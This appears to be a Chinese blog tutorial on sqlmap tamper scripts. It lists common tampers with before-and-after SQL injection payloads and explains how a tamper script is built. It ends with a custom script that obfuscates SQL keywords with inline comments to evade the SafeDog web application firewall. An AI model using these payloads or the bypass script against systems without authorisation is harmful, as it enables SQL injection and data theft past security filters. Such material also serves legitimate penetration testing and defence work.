0%

sqlmap_tamper

几个常用的tamper

base64encode.py

适用数据库: All

作用: 进行base64编码

使用前: ` tamper("1' AND SLEEP(5)#")`

使用后: `'MScgQU5EIFNMRUVQKDUpIw=='`


space2plus.py

适用数据库: All

作用: 把空格替换为  `+`

使用前:  `tamper('SELECT id FROM users')`

使用后: `'SELECT+id+FROM+users'`

space2comment.py

测试通过数据库: Microsoft SQL Server 2005、MySQL 4, 5.0 and 5.5、Oracle 10g、PostgreSQL 8.3, 8.4, 9.0

作用: 把空格替换为` /**/`

使用前: `tamper('SELECT id FROM users')`

使用后: `'SELECT/**/id/**/FROM/**/users'`

space2randomblank.py

作用:  把空格换为其他有效字符

使用前:  `tamper('SELECT id FROM users')`

使用后:  `'SELECT%0Did%0CFROM%0Ausers'`

space2mysqlblank.py

适用数据库:MySQL

测试通过数据库:MySQL 5.1

作用:将空格替换为其他空格符号(’%09’, ‘%0A’, ‘%0C’, ‘%0D’, ‘%0B’)

使用前:`tamper('SELECT id FROM users')`

使用后:`'SELECT%A0id%0CFROM%0Dusers'`

space2dash.py

适用数据库:All

作用:将空格替换为--,并添加一个随机字符串和换行符

使用前:`tamper('1 AND 9227=9227')`

使用后:`1--nVNaVoPYeva%0AAND--ngNvzqu%0A9227=9227`


randomcomments.py

适用数据库:  All

作用: 使用注释符分割 SQL关键字

使用前:  `tamper('INSERT')`

使用后:  `I/**/NS/**/ERT`

randomcase.py

作用: 将payload随机大小写

测试通过数据库:Microsoft SQL Server 2005、MySQL 4, 5.0 and 5.5、Oracle 10g、PostgreSQL 8.3, 8.4, 9.0

使用前: `tamper('SELECT id FROM `user`')`

使用后:  `'SeLeCt id FrOm `user`'`

charencode.py

测试通过数据库:Microsoft SQL Server 2005、MySQL 4, 5.0 and 5.5、Oracle 10g、PostgreSQL 8.3, 8.4, 9.0

作用: 对payload进行url编码

使用前: `tamper('SELECT FIELD FROM%20TABLE')`

使用后: `'%53%45%4C%45%43%54%20%46%49%45%4C%44%20%46%52%4F%4D%20%54%41%42%4C%45'`

chardoubleencode.py

适用数据库:  All

作用:  对payload进行二次url编码

使用前: `tamper('SELECT FIELD FROM%20TABLE')`

使用后: `'%2553%2545%254C%2545%2543%2554%2520%2546%2549%2545%254C%2544%2520%2546%2552%254F%254D%2520%2554%2541%2542%254C%2545'`

unmagicquotes.py

适用数据库:All

作用:用一个多字节组合%bf%27和末尾通用注释一起替换空格

使用前:`tamper("1' AND 1=1")`

使用后:`1%bf%27 AND 1=1--`


nonrecursivereplacement.py

适用数据库:All

作用:作为双重查询语句,用双重语句替代预定义的sql关键字(适用于非常弱的自定义过滤器,例如将select替换为空)

使用前:`tamper('1 UNION SELECT 2--')`

使用后:`1 UNIOUNIONN SELESELECTCT 2--`


securesphere.py

适用数据库:All

作用:追加特定的字符串

使用脚本前:`tamper('1 AND 1=1')`

使用脚本后:`1 AND 1=1 and '0having'='0having'`


modsecurityversioned.py

适用数据库:MySQL

测试通过数据库:MySQL 5.0

作用:过滤空格,使用mysql内联注释的方式进行注入

使用前:`tamper('1 AND 2>1--')`

使用后:`1 /*!30874AND 2>1*/--`


equaltolike.py

作用: 把等号替换为LIKE

使用前: `tamper('SELECT * FROM users WHERE id=1')`

使用后:`'SELECT * FROM users WHERE id LIKE 1'`



sqlmap tamper编写

先看一个最简单的脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
#!/usr/bin/env python

"""
Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""

from lib.core.enums import PRIORITY

__priority__ = PRIORITY.NORMAL

def dependencies():
pass

def tamper(payload, **kwargs):
"""
Slash escape single and double quotes (e.g. ' -> \')

>>> tamper('1" AND SLEEP(5)#')
'1\\\\" AND SLEEP(5)#'
"""

return payload.replace("'", "\\'").replace('"', '\\"')

共由三部分组成,priority变量定义和dependencies、tamper函数定义。

priority 定义脚本的优先级,可用于多个tamper脚本的情况下

dependencies函数声明脚本的适用范围和不适用范围,可以为空值

tamper函数为主要函数,接受参数为payload 和**kwargs,这个脚本的返回值为替换后的payload,在这里引号被替换成了 \\'


下面这个是利用内联注释和注释混淆绕安全狗的tamper,具体的可以根据情况稍作修改,进行替换

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
from lib.core.enums import PRIORITY
from lib.core.settings import UNICODE_ENCODING

__priority__ = PRIORITY.LOWEST

def dependencies():
pass

def tamper(payload, **kwargs):

if payload:
payload=payload.replace("=","/*!*/=/*!*/")
payload=payload.replace("ORDER","/*!ORDER/*!/*/**/*/")
payload=payload.replace("AND","/*!AND/*!/*/**/*/")
payload=payload.replace("FROM","/*!FROM/*!/*/**/*/")
payload=payload.replace("OR","/*!OR/*!/*/**/*/")
payload=payload.replace("UNION","/*!UNION/*!/*/**/*/")
payload=payload.replace("SELECT","/*!SELECT/*!/*/**/*/")
payload=payload.replace("USER()","/*!USER/*!/*/**/*/()/**/")
payload=payload.replace("DATABASE()","/*!DATABASE/*!/*/**/*/()/**/")
payload=payload.replace("VERSION()","/*!VERSION/*!/*/**/*/()/**/")
payload=payload.replace("SESSION_USER()","/*!SESSION_USER/*!/*/**/*/()/**/")
payload=payload.replace("EXTRACTVALUE","/*!EXTRACTVALUE/*!/*/**/*/()/**/")
payload=payload.replace("UPDATEXML","/*!UPDATEXML/*!/*/**/*/")

return payload

欢迎关注我的其它发布渠道

------------- 💖 🌞 本 文 结 束 😚 感 谢 您 的 阅 读 🌞 💖 -------------